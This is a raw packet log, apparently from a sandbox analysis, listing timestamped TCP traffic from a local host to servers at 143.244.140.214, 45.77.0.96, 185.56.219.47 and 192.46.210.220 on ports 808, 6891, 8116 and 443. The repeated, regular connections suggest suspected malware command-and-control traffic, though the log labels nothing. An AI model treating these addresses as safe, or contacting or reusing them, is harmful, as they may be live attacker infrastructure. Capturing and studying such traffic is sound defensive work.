Oct 28, 2021 04:59:31.321500063 CEST	49970	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:31.321568012 CEST	49970	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:31.548096895 CEST	49972	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:31.558140039 CEST	49970	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:31.703423023 CEST	49974	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:31.718405962 CEST	808	49972	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:31.718513966 CEST	808	49972	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:31.718630075 CEST	49972	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:31.719161987 CEST	49972	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:31.719995022 CEST	808	49970	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:31.722841024 CEST	49972	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:31.722953081 CEST	49972	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:31.870470047 CEST	6891	49974	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:31.874430895 CEST	49974	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:31.875169039 CEST	49974	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:31.888673067 CEST	808	49972	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:31.892041922 CEST	808	49972	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:31.892056942 CEST	808	49972	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:31.892072916 CEST	808	49972	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:32.041559935 CEST	6891	49974	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:32.041606903 CEST	6891	49974	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:32.041851044 CEST	49974	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:32.275190115 CEST	808	49972	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:32.275221109 CEST	808	49972	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:32.275388002 CEST	49972	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:32.275429010 CEST	49972	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:33.011122942 CEST	49974	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:33.014540911 CEST	49974	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:33.014658928 CEST	49974	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:33.025904894 CEST	49972	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:33.135899067 CEST	49976	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:33.181437016 CEST	6891	49974	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:33.181458950 CEST	6891	49974	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:33.195746899 CEST	808	49972	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:33.218749046 CEST	6891	49974	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:33.302632093 CEST	6891	49976	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:33.302776098 CEST	49976	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:33.304254055 CEST	49976	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:33.470959902 CEST	6891	49976	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:33.470985889 CEST	6891	49976	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:33.471086025 CEST	49976	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:33.471582890 CEST	49976	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:33.476212978 CEST	49976	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:33.476377010 CEST	49976	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:33.561377048 CEST	6891	49974	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:33.561403036 CEST	6891	49974	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:33.561563969 CEST	49974	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:33.561606884 CEST	49974	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:33.569197893 CEST	49974	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:33.642787933 CEST	6891	49976	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:33.642863989 CEST	6891	49976	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:33.697807074 CEST	49979	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:33.735882044 CEST	6891	49974	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:33.745820045 CEST	8116	49979	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:33.746043921 CEST	49979	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:33.746875048 CEST	49979	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:33.794605017 CEST	8116	49979	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:33.794836998 CEST	8116	49979	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:33.794929981 CEST	49979	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:33.795500040 CEST	49979	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:33.799385071 CEST	49979	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:33.799537897 CEST	49979	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:33.847381115 CEST	8116	49979	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:33.848114014 CEST	8116	49979	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:33.885102987 CEST	8116	49979	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:34.018510103 CEST	8116	49979	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:34.018532991 CEST	8116	49979	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:34.018601894 CEST	49979	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:34.023564100 CEST	6891	49976	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:34.023585081 CEST	6891	49976	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:34.023633957 CEST	49976	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:34.023669004 CEST	49976	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:34.023953915 CEST	49979	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:34.025674105 CEST	49976	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:34.071511030 CEST	8116	49979	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:34.139111042 CEST	49981	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:34.143038034 CEST	49982	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:34.143081903 CEST	443	49982	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:34.143201113 CEST	49982	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:34.144058943 CEST	49982	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:34.144083977 CEST	443	49982	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:34.191885948 CEST	6891	49976	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:34.192356110 CEST	8116	49981	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:34.192435026 CEST	49981	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:34.193057060 CEST	49981	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:34.246005058 CEST	8116	49981	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:34.246190071 CEST	8116	49981	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:34.246303082 CEST	49981	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:34.246911049 CEST	49981	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:34.251041889 CEST	49981	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:34.251149893 CEST	49981	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:34.304112911 CEST	8116	49981	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:34.304399967 CEST	8116	49981	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:34.492640972 CEST	8116	49981	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:34.492727995 CEST	8116	49981	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:34.492729902 CEST	49981	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:34.492785931 CEST	49981	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:34.495922089 CEST	49981	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:34.549191952 CEST	8116	49981	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:34.604229927 CEST	49985	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:34.604295969 CEST	443	49985	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:34.604393959 CEST	49985	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:34.605031967 CEST	49985	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:34.605051994 CEST	443	49985	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:34.665523052 CEST	443	49982	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:34.665683031 CEST	49982	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:34.666296005 CEST	49982	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:34.666316986 CEST	443	49982	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:34.672099113 CEST	49982	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:34.672117949 CEST	443	49982	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:34.672240973 CEST	49982	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:34.672252893 CEST	443	49982	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:35.092387915 CEST	443	49985	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:35.092592955 CEST	49985	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:35.093275070 CEST	49985	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:35.093303919 CEST	443	49985	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:35.098360062 CEST	49985	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:35.098381042 CEST	443	49985	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:35.098454952 CEST	49985	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:35.098485947 CEST	443	49985	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:35.388055086 CEST	443	49982	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:35.388130903 CEST	49982	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:35.388139963 CEST	443	49982	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:35.388189077 CEST	49982	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:35.395539045 CEST	49982	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:35.395570040 CEST	443	49982	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:35.514988899 CEST	49990	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:35.680963993 CEST	808	49990	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:35.681104898 CEST	49990	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:35.681781054 CEST	49990	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:35.785412073 CEST	443	49985	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:35.785501003 CEST	443	49985	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:35.785527945 CEST	49985	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:35.785561085 CEST	49985	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:35.788939953 CEST	49985	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:35.788969994 CEST	443	49985	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:35.847197056 CEST	808	49990	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:35.847239017 CEST	808	49990	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:35.847388983 CEST	49990	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:35.848057032 CEST	49990	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:35.852629900 CEST	49990	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:35.852778912 CEST	49990	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:35.900774002 CEST	49992	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:36.013581038 CEST	808	49990	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:36.018071890 CEST	808	49990	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:36.018117905 CEST	808	49990	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:36.018135071 CEST	808	49990	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:36.018151045 CEST	808	49990	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:36.059012890 CEST	808	49992	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:36.061805010 CEST	49992	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:36.063056946 CEST	49992	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:36.221240997 CEST	808	49992	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:36.221348047 CEST	808	49992	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:36.221429110 CEST	49992	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:36.221988916 CEST	49992	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:36.226111889 CEST	49992	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:36.226236105 CEST	49992	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:36.380053997 CEST	808	49992	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:36.384262085 CEST	808	49992	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:36.384301901 CEST	808	49992	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:36.384325027 CEST	808	49992	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:36.384346008 CEST	808	49992	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:36.415180922 CEST	808	49990	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:36.415227890 CEST	808	49990	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:36.415355921 CEST	49990	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:36.423768044 CEST	49990	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:36.573278904 CEST	49993	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:36.589288950 CEST	808	49990	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:36.739803076 CEST	6891	49993	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:36.739944935 CEST	49993	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:36.740926981 CEST	49993	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:36.768462896 CEST	808	49992	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:36.768491030 CEST	808	49992	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:36.770699978 CEST	49992	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:36.771851063 CEST	49992	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:36.885982037 CEST	49994	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:36.907252073 CEST	6891	49993	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:36.907388926 CEST	6891	49993	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:36.908878088 CEST	49993	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:36.909476042 CEST	49993	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:36.914356947 CEST	49993	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:36.914450884 CEST	49993	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:36.929893970 CEST	808	49992	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:37.052565098 CEST	6891	49994	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:37.052706957 CEST	49994	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:37.055253029 CEST	49994	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:37.080637932 CEST	6891	49993	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:37.080681086 CEST	6891	49993	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:37.118453026 CEST	6891	49993	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:37.221740007 CEST	6891	49994	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:37.221996069 CEST	6891	49994	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:37.222112894 CEST	49994	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:37.222677946 CEST	49994	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:37.227251053 CEST	49994	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:37.227511883 CEST	49994	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:37.393949032 CEST	6891	49994	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:37.393987894 CEST	6891	49994	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:37.431116104 CEST	6891	49994	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:37.464979887 CEST	6891	49993	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:37.465010881 CEST	6891	49993	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:37.465281963 CEST	49993	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:37.472605944 CEST	49993	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:37.596018076 CEST	49995	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:37.640419960 CEST	6891	49993	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:37.651962996 CEST	8116	49995	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:37.652199030 CEST	49995	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:37.652937889 CEST	49995	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:37.706522942 CEST	8116	49995	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:37.706630945 CEST	8116	49995	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:37.706789970 CEST	49995	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:37.707516909 CEST	49995	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:37.711716890 CEST	49995	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:37.711848974 CEST	49995	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:37.764569998 CEST	8116	49995	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:37.765199900 CEST	8116	49995	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:37.776568890 CEST	6891	49994	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:37.776602030 CEST	6891	49994	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:37.776778936 CEST	49994	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:37.776834011 CEST	49994	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:37.779696941 CEST	49994	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:37.901597023 CEST	49997	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:37.939028978 CEST	8116	49995	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:37.939062119 CEST	8116	49995	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:37.939208984 CEST	49995	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:37.946592093 CEST	49995	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:37.947515965 CEST	6891	49994	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:37.961500883 CEST	8116	49997	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:37.961680889 CEST	49997	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:37.962266922 CEST	49997	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:37.999490023 CEST	8116	49995	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:38.015444994 CEST	8116	49997	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:38.015652895 CEST	8116	49997	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:38.015824080 CEST	49997	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:38.016376019 CEST	49997	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:38.020134926 CEST	49997	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:38.020236015 CEST	49997	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:38.073131084 CEST	8116	49997	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:38.073307037 CEST	8116	49997	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:38.079832077 CEST	49998	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:38.079870939 CEST	443	49998	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:38.079982042 CEST	49998	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:38.080718040 CEST	49998	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:38.080729961 CEST	443	49998	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:38.241796017 CEST	8116	49997	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:38.241825104 CEST	8116	49997	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:38.241950989 CEST	49997	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:38.241993904 CEST	49997	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:38.246138096 CEST	49997	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:38.298971891 CEST	8116	49997	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:38.368872881 CEST	49999	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:38.368946075 CEST	443	49999	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:38.369087934 CEST	49999	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:38.369751930 CEST	49999	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:38.369771004 CEST	443	49999	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:38.580030918 CEST	443	49998	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:38.580142975 CEST	49998	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:38.580719948 CEST	49998	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:38.580728054 CEST	443	49998	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:38.585777998 CEST	49998	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:38.585794926 CEST	443	49998	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:38.585851908 CEST	49998	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:38.585860014 CEST	443	49998	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:38.854038000 CEST	443	49999	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:38.854166031 CEST	49999	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:38.854684114 CEST	49999	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:38.854691982 CEST	443	49999	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:38.858818054 CEST	49999	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:38.858839035 CEST	443	49999	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:38.858918905 CEST	49999	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:38.858928919 CEST	443	49999	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:39.277908087 CEST	443	49998	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:39.277978897 CEST	443	49998	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:39.278003931 CEST	49998	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:39.278029919 CEST	49998	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:39.286695957 CEST	49998	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:39.286725044 CEST	443	49998	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:39.416081905 CEST	50002	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:39.550164938 CEST	443	49999	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:39.550252914 CEST	443	49999	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:39.550303936 CEST	49999	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:39.550323963 CEST	49999	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:39.553608894 CEST	49999	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:39.553632021 CEST	443	49999	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:39.573689938 CEST	808	50002	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:39.573788881 CEST	50002	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:39.644009113 CEST	50002	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:39.697880030 CEST	50003	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:39.801671028 CEST	808	50002	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:39.801745892 CEST	808	50002	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:39.801872015 CEST	50002	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:39.802505016 CEST	50002	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:39.806320906 CEST	50002	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:39.806418896 CEST	50002	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:39.862951994 CEST	808	50003	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:39.863090992 CEST	50003	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:39.863774061 CEST	50003	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:39.959997892 CEST	808	50002	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:39.963946104 CEST	808	50002	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:39.963980913 CEST	808	50002	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:39.963998079 CEST	808	50002	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:39.964013100 CEST	808	50002	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:40.028708935 CEST	808	50003	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:40.028836966 CEST	808	50003	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:40.028928041 CEST	50003	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:40.029474974 CEST	50003	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:40.033370972 CEST	50003	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:40.033503056 CEST	50003	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:40.194899082 CEST	808	50003	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:40.201070070 CEST	808	50003	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:40.201111078 CEST	808	50003	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:40.201128006 CEST	808	50003	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:40.344718933 CEST	808	50002	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:40.344750881 CEST	808	50002	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:40.347151041 CEST	50002	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:40.358402014 CEST	50002	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:40.486949921 CEST	50004	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:40.516041994 CEST	808	50002	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:40.577662945 CEST	808	50003	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:40.577687979 CEST	808	50003	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:40.577771902 CEST	50003	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:40.580960989 CEST	50003	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:40.653496027 CEST	6891	50004	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:40.653716087 CEST	50004	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:40.654429913 CEST	50004	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:40.697726011 CEST	50005	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:40.745882988 CEST	808	50003	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:40.820713043 CEST	6891	50004	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:40.820838928 CEST	6891	50004	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:40.820916891 CEST	50004	6891	192.168.2.6	45.77.0.96
